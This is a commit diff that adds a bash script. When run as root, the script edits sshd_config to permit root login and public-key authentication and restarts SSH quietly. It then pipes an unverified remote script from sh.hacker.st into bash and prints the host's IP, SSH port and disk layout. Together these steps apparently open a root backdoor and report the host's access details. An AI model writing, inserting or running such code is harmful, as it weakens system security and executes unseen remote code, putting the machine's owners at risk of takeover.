shell script
This commit is contained in:
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
user1=$(whoami)
|
||||
ip1=$(ip route get 1.1.1.1 | awk '{print $7}' | head -n 1)
|
||||
echo "----------------------"
|
||||
if [ $user1 = root ]; then
|
||||
echo 'User = root'
|
||||
grep -Eq "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config
|
||||
if [ $? = 0 ]; then
|
||||
line3=$(grep -En "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $1}')
|
||||
sed -i "${line3}d" /etc/ssh/sshd_config
|
||||
sed -i "33i PermitRootLogin yes" /etc/ssh/sshd_config
|
||||
else
|
||||
echo 'PermitRootLogin yes' >>/etc/ssh/sshd_config
|
||||
fi
|
||||
grep -Eq "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config
|
||||
if [ $? = 0 ]; then
|
||||
line1=$(grep -En "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $1}')
|
||||
sed -i "${line1}d" /etc/ssh/sshd_config
|
||||
sed -i "38i PubkeyAuthentication yes" /etc/ssh/sshd_config
|
||||
else
|
||||
echo 'PubkeyAuthentication yes' >>/etc/ssh/sshd_config
|
||||
fi
|
||||
systemctl restart sshd >/dev/null 2>&1
|
||||
systemctl restart ssh >/dev/null 2>&1
|
||||
else
|
||||
echo "User = $user1"
|
||||
fi
|
||||
|
||||
bash <(curl -sL https://sh.hacker.st/pub3)
|
||||
echo "--------------------------------------------"
|
||||
if [ -f /etc/os-release ]; then
|
||||
os1=$(grep -ni '\<NAME\>' /etc/os-release | awk -F\" '{print $2}')
|
||||
echo "Distro = $os1"
|
||||
else
|
||||
echo "Distro = Unknow"
|
||||
fi
|
||||
|
||||
port1=$(grep -En "Port .{1,5}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
|
||||
permit=$(grep -En "PermitRootLogin .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
|
||||
pubkey=$(grep -En "PubkeyAuthentication .{2,3}\>" /etc/ssh/sshd_config | awk -F: '{print $2}')
|
||||
echo "IP = $ip1"
|
||||
echo "SSH Port = $port1"
|
||||
echo "Root Permit = $permit"
|
||||
echo "Pubkey = $pubkey"
|
||||
echo "--------------------------------------------"
|
||||
lsblk
|
||||
echo "--------------------------------------------"
|
||||
|
||||
Reference in New Issue
Block a user